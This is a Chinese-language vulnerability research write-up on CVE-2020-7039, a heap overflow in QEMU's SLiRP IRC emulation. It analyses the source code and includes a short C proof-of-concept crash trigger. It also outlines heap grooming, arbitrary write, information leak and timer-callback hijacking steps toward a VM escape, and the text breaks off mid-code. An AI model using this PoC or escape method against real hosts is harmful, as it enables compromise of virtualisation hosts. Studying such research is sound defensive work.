QEMU-CVE-2020-7039

阅读量251916

发布时间 : 2021-12-27 10:00:59

 

知识前置

Slirp模块

QEMU内部网络分为两部分:

提供给客户的虚拟网络设备(E1000 PCI网卡…).
与模拟NIC交互的网络后端(例如,将数据包放入主机的网络).

默认情况下,QEMU将为guest虚拟机创建Slirp用户网络后端和适当的虚拟网络设备(E1000 PCI网卡…) ,QEMU缺省使用”-net nic-net user”参数为客户机配置网络,提供了一种用户模式(user-mode)的网络模拟,Slirp实现了整个TCP/IP协议栈,并且使用这个协议栈提供一个虚拟的NAT网络,主要模拟了网络应用层协议,其中包括IP协议(V4和V6)、DHCP协议、ARP协议等。通过Slirp模块,用户模式的Guest主机可以连通Host主机及外部网络。

当前Guest主机中模拟的网关是 10.0.2.2,ifconfig上对应网卡是没显示的,但是访问网关确实可以访问到Host主机。

下面对Slirp模块中的一小部分代码进行分析:

相关结构体

// slirp/mbuf.h
struct mbuf {
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */

int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;

caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */

Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
char m_dat[];
};
  1. m_data : 指向当前数据的地址
  2. m_dat[]: 若传入的数据包不大,则数据存放在m_dat[]对应的数组中,首次分配mbuf结构体的时候,会将m_dat地址赋值给m_data指针
  3. m_ext : 若传入的数据包太大,则会采用动态空间分配的方式存放数据,而申请的动态空间指针交给m_ext指针
  4. m_len : 当前保存的数据总大小
  5. m_size : 存放当前mbuf结构体大小
  6. m_flags: 相关标志位,用于表示结构体相关状态,例如分配了动态空间管理数据,则会存在#define M_EXT 0x01字段
// slirp/ip.h

struct qlink {
void *next, *prev;
};

struct ipasfrag {
struct qlink ipf_link; // ip fragment double link
struct ip ipf_ip; // the ip header of fragment
};

此结构体,在IP分片函数ip_reass()中使用频繁,其中存在的双向链表结构串起了所有分片。

// slirp/ip.h
struct ipq {
struct qlink frag_link; /* to ip headers of fragments */
struct qlink ip_link; /* to other reass headers */
uint8_t ipq_ttl; /* time for reass q to live */
uint8_t ipq_p; /* protocol of this fragment */
uint16_t ipq_id; /* sequence id for reassembly */
struct in_addr ipq_src, ipq_dst;
};

此结构体,在ip_reass()中,用于管理所有的分片相同的属性的主结构,也是所有分片中双向链表的链表头。

Slirp模块中对IPV4数据包的处理

void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len)
{
struct mbuf *m;
int proto;

if (pkt_len < ETH_HLEN) // 判断大小是否小于`Eth-Frame Header Len`
return;

proto = (((uint16_t)pkt[12]) << 8) + pkt[13]; // 获取`Eth-Frame`中 Type,作为switch的分支条件
switch (proto) {
case ETH_P_ARP:
arp_input(slirp, pkt, pkt_len); // 若为ARP协议,则调用 arp_input 函数,进行处理
break;
case ETH_P_IP:
case ETH_P_IPV6:
m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置
if (!m) return;
/* Note: we add 2 to align the IP header on 4 bytes,
* and add the margin for the tcpiphdr overhead */
if (M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2) {
m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间
}
m->m_len = pkt_len + TCPIPHDR_DELTA + 2;
memcpy(m->m_data + TCPIPHDR_DELTA + 2, pkt, pkt_len); // 拷贝传入的数据包到m_data指针处

m->m_data += TCPIPHDR_DELTA + 2 + ETH_HLEN; // 当前m_data指向数据包 Header,不是Eth-Frame Header
m->m_len -= TCPIPHDR_DELTA + 2 + ETH_HLEN;

if (proto == ETH_P_IP) { // IPV4
ip_input(m);
} else if (proto == ETH_P_IPV6) { // IPV6
ip6_input(m);
}
break;

case ETH_P_NCSI:
ncsi_input(slirp, pkt, pkt_len);
break;

default:
break;
}
}

假如此时去访问外界网络,比如执行apt-get update,则会向网卡发送数据,当通过网卡将数据封装为以太网帧后,则会在Slirp模块中调用slirp_input()函数对进一步处理。

void ip_input(struct mbuf *m)
{
Slirp *slirp = m->slirp;
register struct ip *ip;
int hlen;

if (!slirp->in_enabled) {
goto bad;
}

if (m->m_len < sizeof(struct ip)) {
goto bad;
}

ip = mtod(m, struct ip *); // 返回m_data,前面有提到,m_data指向了数据包的Header

if (ip->ip_v != IPVERSION) {
goto bad;
}

hlen = ip->ip_hl << 2; // 左移两位则是IP Header实际大小
if (hlen < sizeof(struct ip) || hlen > m->m_len) { // 检测Header len 是否合法
goto bad; /* or packet too short */
}

if (cksum(m, hlen)) { // 第二次检测 checksum计算结果是否合法
goto bad;
}

NTOHS(ip->ip_len); // 将ip_total_len从网络字节序列转换成主机字节序列
if (ip->ip_len < hlen) { // 检测当前数据包的total len是否合法
goto bad;
}
NTOHS(ip->ip_id);
NTOHS(ip->ip_off);

if (m->m_len < ip->ip_len) { // // 再次检测ip_total_len 和当前数据包对应的mbuf结构体之间是否合法
goto bad;
}

if (m->m_len > ip->ip_len) // 如果m->m_len稍大,则调用m_adj函数对其进行修剪
m_adj(m, ip->ip_len - m->m_len);

/* check ip_ttl for a correct ICMP reply */
if (ip->ip_ttl == 0) {
icmp_send_error(m, ICMP_TIMXCEED, ICMP_TIMXCEED_INTRANS, 0, "ttl");
goto bad;
}

// ip Header中 ip->ip_off最高三位对应FLAGS
// FLAGS: 长度为 3Bit
// 字段中第一位不使用
// 第二位是DF(Don't Fragment),若为1,当前数据包不可分片
// 第三位是MF(More Fragments),MF = 0 指最后一个分片
if (ip->ip_off & ~IP_DF) { //若不存在DF字段,且MF == 1,则进行IP分片分支处理
register struct ipq *fp;
struct qlink *l; // double link
// 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL; // if the fragment is first , so set fp == NULL
found:

ip->ip_len -= hlen; // 减去header len,剩下payload长度
if (ip->ip_off & IP_MF) // 若存在IP_MF字段,则 ip_tos 第一位 置1,否则置0
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3; // 获取当前分片的偏移

if (ip->ip_tos & 1 || ip->ip_off) { // 存在 IP_MF 或者 分片偏移不为0,则可调用ip_reass函数进行进一步的分片处理
ip = ip_reass(slirp, ip, fp);
if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到
return;
m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针,
// 此处获取当前ip指针对应的mbuf结构体
} else if (fp)
ip_freef(slirp, fp);

} else
ip->ip_len -= hlen;

// 以 protocol作为switch的分支条件
switch (ip->ip_p) {
case IPPROTO_TCP:
tcp_input(m, hlen, (struct socket *)NULL, AF_INET);
break;
case IPPROTO_UDP:
udp_input(m, hlen);
break;
case IPPROTO_ICMP:
icmp_input(m, hlen);
break;
default:
m_free(m);
}
return;
bad:
m_free(m);
}

在slirp_input()函数中,对数据包简单处理,生成了对应的mbuf结构体,又在ip_input()函数中进一步处理,根据相关字段,判断是否分片,而分片函数(ip_reass)则是如下:

static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
register struct mbuf *m = dtom(slirp, ip);
register struct ipasfrag *q;
int hlen = ip->ip_hl << 2;
int i, next;

m->m_data += hlen; // m_data 也指向当前payload区域
m->m_len -= hlen;

if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片
struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670

if (t == NULL) {
goto dropfrag;
}
fp = mtod(t, struct ipq *);
insque(&fp->ip_link, &slirp->ipq.ip_link); // 将当前生成的fp指针加入到slirp主结构管理的双向链表,此处用于在ip_input函数中对分片链表头查找有用
fp->ipq_ttl = IPFRAGTTL;
fp->ipq_p = ip->ip_p;
fp->ipq_id = ip->ip_id;
fp->frag_link.next = fp->frag_link.prev = &fp->frag_link; // 对当前链表头初始化指针,其余则是保存ip header相关数据
fp->ipq_src = ip->ip_src;
fp->ipq_dst = ip->ip_dst;
q = (struct ipasfrag *)fp;
goto insert;
}
// 如果传入是第二个往后的分片,则此处遍历fp->frag_link双向链表,寻找与传入的分片相近的分片的结构体指针
for (q = fp->frag_link.next; q != (struct ipasfrag *)&fp->frag_link;
q = q->ipf_next)
if (q->ipf_off > ip->ip_off)
break;

// 如果上述寻找到的结构体不是最后一个分片,则会对当前传人的分片进行修剪
if (q->ipf_prev != &fp->frag_link) {
struct ipasfrag *pq = q->ipf_prev; // 上述寻找到的分片的前一个分片
i = pq->ipf_off + pq->ipf_len - ip->ip_off; // 如果前一个分片 "偏移 + payload_len" > 当前传入的分片的偏移,则当前传入的分片需要向后移动
if (i > 0) {
if (i >= ip->ip_len)
goto dropfrag;
m_adj(dtom(slirp, ip), i);
ip->ip_off += i;
ip->ip_len -= i;
}
}
// 此处是对当上述找到的结构体指针q之后的所有分片进行修剪,为传入的分片中的数据腾出空间
while (q != (struct ipasfrag *)&fp->frag_link &&
ip->ip_off + ip->ip_len > q->ipf_off) {
i = (ip->ip_off + ip->ip_len) - q->ipf_off; // 如果当前传入的分片 "偏移 + payload_len" > 后面一个分片 偏移,则后续的所有分片后移
if (i < q->ipf_len) {
q->ipf_len -= i;
q->ipf_off += i;
m_adj(dtom(slirp, q), i);
break;
}
q = q->ipf_next;
m_free(dtom(slirp, q->ipf_prev));
ip_deq(q->ipf_prev);
}
// 最后,所有的分片的数据不会重叠存放

insert:
// 将当前传入的分片关联进双向链表
ip_enq(iptofrag(ip), q->ipf_prev);
next = 0;
// 检测前面的所有分片的payload_len 相加 是否 等于后一个分片的偏移,这里检测了所有的分片偏移不会重叠,长度也不会越界
for (q = fp->frag_link.next; q != (struct ipasfrag *)&fp->frag_link;
q = q->ipf_next) {
if (q->ipf_off != next)
return NULL;
next += q->ipf_len;
}
// 如果当前 存在 MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等
if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
return NULL;

// 若没有直接返回,即MF 字段为0,表示当前传入的分片是最后一个分片,下面则是将所有的分片拷贝到第一个分片对应的缓冲区中
q = fp->frag_link.next;
m = dtom(slirp, q);

q = (struct ipasfrag *)q->ipf_next;
while (q != (struct ipasfrag *)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *)q->ipf_next;
m_cat(m, t); // 剪切后面的分片到第一个分片对应的缓冲区中
}

q = fp->frag_link.next; // 此处 fp->frag_link.next 为第一个分片对应的 "struct ipasfrag"结构体指针

// 如果在m_cat过程中,拷贝的总数据大小超过第一个分片的mbuf结构能存放的极限,则会动态分配新的空间,并更新第一个分片的mbuf.m_ext指针
// 当时 上述的 结构体指针q 还未更新指向新的缓冲区,所以检测到 M_EXT 字段,则重新获取一个指针q,令其指向新申请的缓冲区中
if (m->m_flags & M_EXT) {
int delta = (char *)q - m->m_dat;
q = (struct ipasfrag *)(m->m_ext + delta);
}

ip = fragtoip(q); // "struct ipasfrag",此结构体,前0x10是双向链表指针,后面则是保存的分片的ip_header,返回值为 "q+0x10"
ip->ip_len = next; // next是总数据长度,更新ip_total_len
ip->ip_tos &= ~1;
ip->ip_src = fp->ipq_src;
ip->ip_dst = fp->ipq_dst;
remque(&fp->ip_link);
(void)m_free(dtom(slirp, fp));
m->m_len += (ip->ip_hl << 2);
m->m_data -= (ip->ip_hl << 2);

return ip;

dropfrag:
m_free(m);
return NULL;
}

上述则是对IP包分片的过程,对传入的分片进行修剪,然后关联进对应的双向链表中进行管理,因为篇幅有限,只选择了Slirp对IPV4数据包的部分处理进行了简单的分析。

对此,Slirp会处理经过网卡处理后的数据,模拟数据包协议类型,进行管理与传输,然后再通过网卡发送给Host主机,通过Host主机访问目标。

 

漏洞分析与利用

漏洞简介

Description
A heap buffer overflow issue was found in the SLiRP networking implementation of the QEMU emulator. This flaw occurs in the tcp_emu() routine while emulating IRC and other protocols. An attacker could use this flaw to crash the QEMU process on the host, resulting in a denial of service or potential execution of arbitrary code with privileges of the QEMU process.

根据RedHat上对CVE的描述可知,当QEMU以 Slirp模块作为网络后端的时候,漏洞位于其中tcp_emu()函数模拟IRC协议的分支,下面我们直接定位到目标代码。

int tcp_emu(struct socket *so, struct mbuf *m)
{
Slirp *slirp = so->slirp;
unsigned n1, n2, n3, n4, n5, n6;
char buff[257];
uint32_t laddr;
unsigned lport;
char *bptr;
switch (so->so_emu) {
int x, i;
case EMU_IRC:
m_inc(m, m->m_len + 1); // 若 m->m_len + 1 不小于 M_ROOM(m),则会为输入的数据另外申请一段内存存放,并更新 mbuf结构体中的指针
*(m->m_data + m->m_len) = 0; // 末尾置0
if ((bptr = (char *)strstr(m->m_data, "DCC")) == NULL) // 从输入的数据中寻找DCC字符串作为起始指针
return 1;
// buff初始化是一个257字节大小的char数组
// 通过上述寻找的指针后的字符串作为输入,对buff laddr lport 或者 n1 赋值
if (sscanf(bptr, "DCC CHAT %256s %u %u", buff, &laddr, &lport) == 3) {
// 通过数据包中赋值后的laddr 和 lport 监听
if ((so = tcp_listen(slirp, INADDR_ANY, 0, htonl(laddr),
htons(lport), SS_FACCEPTONCE)) == NULL) {
return 1;
}
m->m_len = bptr - m->m_data; // 当tcp_listen函数返回通过时,下面则是对原缓冲区中的数据进行更新,另外的两个分支都是类似的
m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%c\n",
(unsigned long)ntohl(so->so_faddr.s_addr),
ntohs(so->so_fport), 1);
} else if (sscanf(bptr, "DCC SEND %256s %u %u %u", buff, &laddr, &lport,
&n1) == 4) {
if ((so = tcp_listen(slirp, INADDR_ANY, 0, htonl(laddr),
htons(lport), SS_FACCEPTONCE)) == NULL) {
return 1;
}
m->m_len = bptr - m->m_data; /* Adjust length */
m->m_len +=
snprintf(bptr, m->m_size, "DCC SEND %s %lu %u %u%c\n", buff,
(unsigned long)ntohl(so->so_faddr.s_addr),
ntohs(so->so_fport), n1, 1);
} else if (sscanf(bptr, "DCC MOVE %256s %u %u %u", buff, &laddr, &lport,
&n1) == 4) {
if ((so = tcp_listen(slirp, INADDR_ANY, 0, htonl(laddr),
htons(lport), SS_FACCEPTONCE)) == NULL) {
return 1;
}
m->m_len = bptr - m->m_data; /* Adjust length */
m->m_len +=
snprintf(bptr, m->m_size, "DCC MOVE %s %lu %u %u%c\n", buff,
(unsigned long)ntohl(so->so_faddr.s_addr),
ntohs(so->so_fport), n1, 1);
}
return 1;
......

漏洞点则是出在更新m->m_len的时候,此时会通过snprintf向原缓冲区中更新数据,而snprintf原型如下,第二个参数size是作为写入的数据最大字节,而漏洞位置的第二个参数则是m->m_size,此处没有对写回的数据长度进行检验,而是直接用了mbuf结构体中m->m_size作为长度限制,而在经过tcp_listen函数后,so->so_faddr.s_addr和so->so_fport都会被设置为不同于输入的整型数值,此处又通过snprintf写入到bptr指针中,若写入的数据超过bptr指针可写的长度,则会发生缓冲区溢出。

m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%c\n",
(unsigned long)ntohl(so->so_faddr.s_addr),
ntohs(so->so_fport), 1);

int snprintf(char * restrict str, size_t size, const char * restrict format, ...);

下面再看看tcp_listen函数

struct socket *tcp_listen(Slirp *slirp, uint32_t haddr, unsigned hport,
uint32_t laddr, unsigned lport, int flags)
{
/* TODO: IPv6 */
struct sockaddr_in addr;
struct socket *so;
int s, opt = 1;
socklen_t addrlen = sizeof(addr);
memset(&addr, 0, addrlen);

so = socreate(slirp); // 建立一个sokcet 结构体 so

/* Don't tcp_attach... we don't need so_snd nor so_rcv */
if ((so->so_tcpcb = tcp_newtcpcb(so)) == NULL) { // 初始化 so->so_tcpcb
g_free(so);
return NULL;
}
insque(so, &slirp->tcb); // 将当前的so指针关联进 slirp结构体中的tcb链中

/*
* SS_FACCEPTONCE sockets must time out.
*/
if (flags & SS_FACCEPTONCE) // 判断标志字段 并 设置存活时间?
so->so_tcpcb->t_timer[TCPT_KEEP] = TCPTV_KEEP_INIT * 2;

// 对建立的socket结构体赋值相关数据
so->so_state &= SS_PERSISTENT_MASK;
so->so_state |= (SS_FACCEPTCONN | flags);
so->so_lfamily = AF_INET;
so->so_lport = lport; /* Kept in network format */
so->so_laddr.s_addr = laddr; /* Ditto */

// 绑定监听 haddr 和 hport
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = haddr;
addr.sin_port = hport;

if (((s = slirp_socket(AF_INET, SOCK_STREAM, 0)) < 0) ||
(slirp_socket_set_fast_reuse(s) < 0) ||
(bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) ||
(listen(s, 1) < 0)) {
int tmperrno = errno; /* Don't clobber the real reason we failed */

if (s >= 0) {
closesocket(s);
}
sofree(so);
/* Restore the real errno */
#ifdef _WIN32
WSASetLastError(tmperrno);
#else
errno = tmperrno;
#endif
return NULL;
}
// 对套接字 s 在SOL_SOCKET级上 设置 SO_OOBINLINE 选项以及在IPPROTO_TCP 级上设置 TCP_NODELAY 选项
setsockopt(s, SOL_SOCKET, SO_OOBINLINE, &opt, sizeof(int));
opt = 1;
setsockopt(s, IPPROTO_TCP, TCP_NODELAY, &opt, sizeof(int));

// 从套接字 s 获取 (struct sockaddr *)&addr 并 赋值 so->so_f* 变量进行赋值
getsockname(s, (struct sockaddr *)&addr, &addrlen);
so->so_ffamily = AF_INET;
so->so_fport = addr.sin_port;
if (addr.sin_addr.s_addr == 0 ||
addr.sin_addr.s_addr == loopback_addr.s_addr)
so->so_faddr = slirp->vhost_addr;
else
so->so_faddr = addr.sin_addr;

so->s = s;
return so;
}

经过调试可知,在调用getsocketname()函数的时候,会对addr.sin_port进行赋值,因为传入的hport值为0,所以之前执行bind函数的时候,套接字s的端口是随机生成的一个两字节的值,且此时的addr.sin_addr.s_addr为0,所以在判断addr.sin_addr.s_addr == 0条件的时候,则会进入第一个分支,则上述snprintf函数写回的so->so_faddr.s_addr和so->so_fport两个变量 分别来自so->so_fport = addr.sin_port和so->so_faddr = slirp->vhost_addr ,addr.sin_port是一个两字节的值,经过ntohs转化,在snprintf输出的为十进制字符串的时候,大概率占据5个字节的数据,另外 slirp->vhost_addr始终为0x202000A,若输入的十进制值长度小于写回的十进制值长度,则会导致写回的数据比写入时候的数据更多,因此导致溢出。

POC

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <assert.h>
#include <string.h>
#include <sys/socket.h>
#include <stdint.h>
#include <netinet/in.h>
#include <arpa/inet.h>
void errExit(char *string)
{
perror(string);
exit(EXIT_FAILURE);
}
int connect_with(char *ip,uint16_t port)
{

int fd = socket(AF_INET,SOCK_STREAM, 0);
if(fd < 0){
errExit("Socket");
}
struct sockaddr_in tcp_socket;
tcp_socket.sin_family = AF_INET;
tcp_socket.sin_port = htons(port);
tcp_socket.sin_addr.s_addr = inet_addr(ip);

if (connect(fd, (struct sockaddr *) &tcp_socket, sizeof(struct sockaddr_in)) != 0) errExit("connect");

return fd;
}

int main()
{
char *payload = calloc(1,0x1000);
memset(payload,'F',0x1000);

int fd = connect_with("10.0.2.2",6667);
char s[0x30] = "DCC SEND TEST -1 -1 2333\0";
memcpy(payload + 0x5B2 - strlen(s) ,s,strlen(s)); // 如果发送的数据 > 0x5B2,则会另外申请空间,在mbuf结构体中的m_ext指针指向申请的空间
write(fd,payload,0x5B2);

}

通过gdb attach调试qemu进程,下断点在 slirp/src/tcp_subr.c:765,对当前 mbuf结构体的next chunk header 观察,可以发现在snprintf函数调用后,next chunk header被覆盖了,但是溢出的数据因为是%u和%lu格式化字符串,所以溢出的数据并不能控制为不可见字符串,而再观察snprintf函数的末尾,可以发现snprintf写回的字符串末尾存在一个”\x01\x0A”,做过CTF Heap题的师傅们应该很容易就能想到覆盖unsorted bin chunk的size为0xA01令堆重叠,因此可以实现缓冲区溢出。

漏洞利用

IP Header

上述图为IP Header结构体,其中有Flags是描述当前IP包相关属性的标志字段;字段第一位不使用,字段第二位是DF(Don’t Fragment)指明当前IP包是否可以分片,若当前DF字段为1,则当前数据包不可分片;字段第三位字是MF(More Fragments)指明当前是否为分片序列最后一个分片 ,为0则是最后一个分片,当最后一个分片发送出去,则Slirp模块则会对整个IP Packet的分片序列进行重组。

Malloc原语

void ip_input(struct mbuf *m)
{
......
// ip Header中 ip->ip_off最高三位对应FLAGS
// FLAGS: 长度为 3Bit
// 字段中第一位不使用
// 第二位是DF(Don't Fragment),若为1,当前数据包不可分片
// 第三位是MF(More Fragments),MF = 0 指最后一个分片
if (ip->ip_off & ~IP_DF) { //若不存在DF字段,且MF == 1,则进行IP分片分支处理
register struct ipq *fp;
struct qlink *l; // double link

// 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头
for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;
l = l->next) {
fp = container_of(l, struct ipq, ip_link);
if (ip->ip_id == fp->ipq_id &&
ip->ip_src.s_addr == fp->ipq_src.s_addr &&
ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&
ip->ip_p == fp->ipq_p)
goto found;
}
fp = NULL; // if the fragment is first , so set fp == NULL
found:

ip->ip_len -= hlen; // 减去header len,剩下payload长度
if (ip->ip_off & IP_MF) // 若存在IP_MF字段,则 ip_tos 第一位 置1,否则置0
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;
ip->ip_off <<= 3; // 获取当前分片的偏移
if (ip->ip_tos & 1 || ip->ip_off) { // 存在 IP_MF 或者 分片偏移不为0,则可调用ip_reass函数进行进一步的分片处理
ip = ip_reass(slirp, ip, fp);
if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到
return;

m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针,
// 此处获取当前ip指针对应的mbuf结构体

} else if (fp)
ip_freef(slirp, fp);
} else
ip->ip_len -= hlen;
......
}


static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
......
// 如果当前 存在 MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等
if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
return NULL;
......
}

此处,若发送的IPV4数据包能够分片,即DF字段为0,且MF为1,则表示当前的IP包是可以进行分片的,分片函数则是ip_reass()。

ip = ip_reass(slirp, ip, fp);
if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到
return;

若ip_reass函数返回值为NULL,则直接返回,表示分片未结束,而直接返回的结果则是相关申请的动态空间不会释放,当前分片数据包进入ip_input()函数之前,在slirp_input()会为其分配一个struct mbuf结构体,此结构体是没有被释放的,大小为0x670大小的chunk,且若此时为第一个分片。

if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片
struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670

当进入分片函数ip_reass()时,fp == NULL条件下,又会为其分配一个struct mbuf结构体用于管理分片的相关数据,同样为0x670大小的chunk,此结构体也是没有被释放的,所以这里能够当作是一个malloc原语使用,但是这些申请的大小又都是固定的,想要准确的控制堆布局,还需要可以控制动态空间申请的大小。

void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len)
{
......
case ETH_P_IP:
case ETH_P_IPV6:
m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置
if (!m) return;
/* Note: we add 2 to align the IP header on 4 bytes,
* and add the margin for the tcpiphdr overhead */
if (M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2) {
m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间
}

又来到slirp_input()函数处,此时可以明确的知道,若处理的数据包数据大于M_FREEROOM(m) – TCPIPHDR_DELTA + 2,则会调用m_inc进行动态空间的分配,而此时的申请的动态空间可由我们的数据包的大小来控制,如果处于分片未结束状态,那么这段内存同样是不会被释放的,可以用它来进一步控制堆布局。

构造任意写

+------------+
| |
| 1st packet |
| |
+------------+
| |
| 2nd packet |
| |
+------------+
| |
| target |
| |
+------------+
| padding | // 防止与 top chunk合并,虽然此处target 并没有被释放
+------------+

通过堆喷清空了各种零零散散的堆块后,下面进行布局,首先在target之前需要构造一个unsorted bin chunk,为了后续对所有的包进行管理,所以上述发送的所有包,都是处于第一个分片状态的,而当每一个包发送的时候,除了会申请空间作为mbuf结构体外,在ip_reass中同样会申请一个0x670大小的chunk储存分片相关数据,所以 1st packet 和 2nd packet都占据 0x670 * 2大小的空间,此处发送 一个 MF = 0的分片完成2nd packet的IP包重组,那么则会释放2nd packet堆块得到一个0xCE0大小的堆块。

+------------+
| |
| 1st packet |
| |
+------------+
| socket mbuf|
+------------+
| ub chunk | <- unsorted bin chunk,socket mbuf切割后剩下0x670大小的空闲空间
+------------+
| |
| target |
| |
+------------+
| padding | // 防止与 top chunk合并,虽然此处target 并没有被释放
+------------+

此时建立一个套接字,然后写入构造的payload到该套接字描述符中,则会先分配一个mbuf结构体用于管理此时的数据,则会切割0xCE0的unsorted bin chunk,并剩下一个0x670 大小 chunk 继续留在unsorted bin 中,通过漏洞点的snprintf即可修改此时的unsorted bin chunk header;但是仅仅修改是会触发ptmalloc的check机制的,而0xA00 < 0xCE0,所以修改size后的unsorted bin chunk的next chunk是位于target 的 m_dat数组中,那么可以在最开始申请target mbuf结构体的时候,在发送的数据中构造一个fake chunk header即可。

+------------+
| |
| 1st packet |
| |
+------------+ <- start
| ub chunk | <- unsorted bin chunk,0xA00 + 0x670 大小
+------------+
| |
| target | <- ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体
| |
+------------+
| padding | // 防止与 top chunk合并,虽然此处target 并没有被释放
+------------+

当写入一次数据后,当前的socket mbuf结构体会被释放,与0xA00的unsorted bin chunk合并,此时unsorted bin chunk中会覆盖到target 的mbuf 结构体,而其中的m_data指针是我们想要控制的,但是直接申请0xA00大小的空间来进行修改,不能精确控制只修改m_data指针,所以此处我们再将1st packet所在的包释放,则此时unsorted bin chunk大小为0xA00 + 0x670 + 0x670*2。

+------------+ <- start
| |
| ub chunk | <- unsorted bin chunk,0xA00 + 0x670 + 0x670 * 2大小
| |
+------------+
| |
| target | <- ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体
| |
+------------+
| padding | // 防止与 top chunk合并,虽然此处target 并没有被释放
+------------+

此时发送一个MF = 1、DF = 0的分片,写入数据包payload大小(0xA00 – 0x50),一共会切割unsorted bin chunk为四个部分,第一个部分0x670大小的chunk用于mbuf结构体,第二个0xA00大小的chunk用于数据包,第三个0x670大小的chunk用于ip_reass()函数中保存分片数据,最后剩下一个0x670大小的chunk,剩下的这个chunk则是覆盖了target mbuf的chunk,此时我们再发送一次另外的数据包用于劫持target mbuf结构体,而当前分片会申请unsorted bin chunk剩余的0x670大小的chunk作为管理分片的mbuf结构体,此时发送的数据会存放在m_dat数组中,因此可以对target mbuf结构体中m_data指针进行修改,之后则是继续向target 发送后续分片完成IP包重组,即可实现任意写的功能。

信息泄漏

信息泄漏的方法其实很简单,如果有复现过CVE-2019-6778 和 CVE-2019-14378的话,可以轻易实现。

根据CVE-2019-6778的泄漏思路,相关步骤如下

1、首先通过缓冲区溢出步骤,将m_data指针的低三位修改为0x000B00,然后修改后的地址中写入一个伪造的ICMP Header

2、设置target的数据包协议类型为ICMP,MF = 1、DF = 0并发送第一个分片,且发送数据长度足够,让它对应的mbuf结构体中m_len较大,此时IP包未完成重组

3、此时通过缓冲区修改上述target的m_data指针指向伪造的ICMP包的结束位置

4、完成target的IP重组,则结束ICMP请求,在发送最后一个分片之前建立一个套接字用于接收响应应答包

5、处理响应应答包中的数据,并获取程序基址和堆地址

程序流劫持

在QEMU程序中,存在一个数组main_loop_tlg,其是用于保存的struct QEMUTimerList结构体指针的数组。

// util/qemu-timer.c
struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;
/* lightweight method to mark the end of timerlist's running */
QemuEvent timers_done_ev;
};

// include/qemu/timer.h

typedef void QEMUTimerCB(void *opaque);
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int attributes;
int scale;
};

其中active_timers指针是一个QEMUTimer的结构体指针,而QEMUTimer结构体中存在一个函数指针QEMUTimerCB *cb,而调用该函数指针时,传入的第一个参数是void *opaque,因此可以控制参数。

static bool timer_expired_ns(QEMUTimer *timer_head, int64_t current_time)
{
return timer_head && (timer_head->expire_time <= current_time);
}

bool timerlist_run_timers(QEMUTimerList *timer_list)
{
......
while ((ts = timer_list->active_timers)) {
if (!timer_expired_ns(ts, current_time)) {
break;
}
......
/* remove timer from the list before calling the callback */
timer_list->active_timers = ts->next;
ts->next = NULL;
ts->expire_time = -1;
cb = ts->cb;
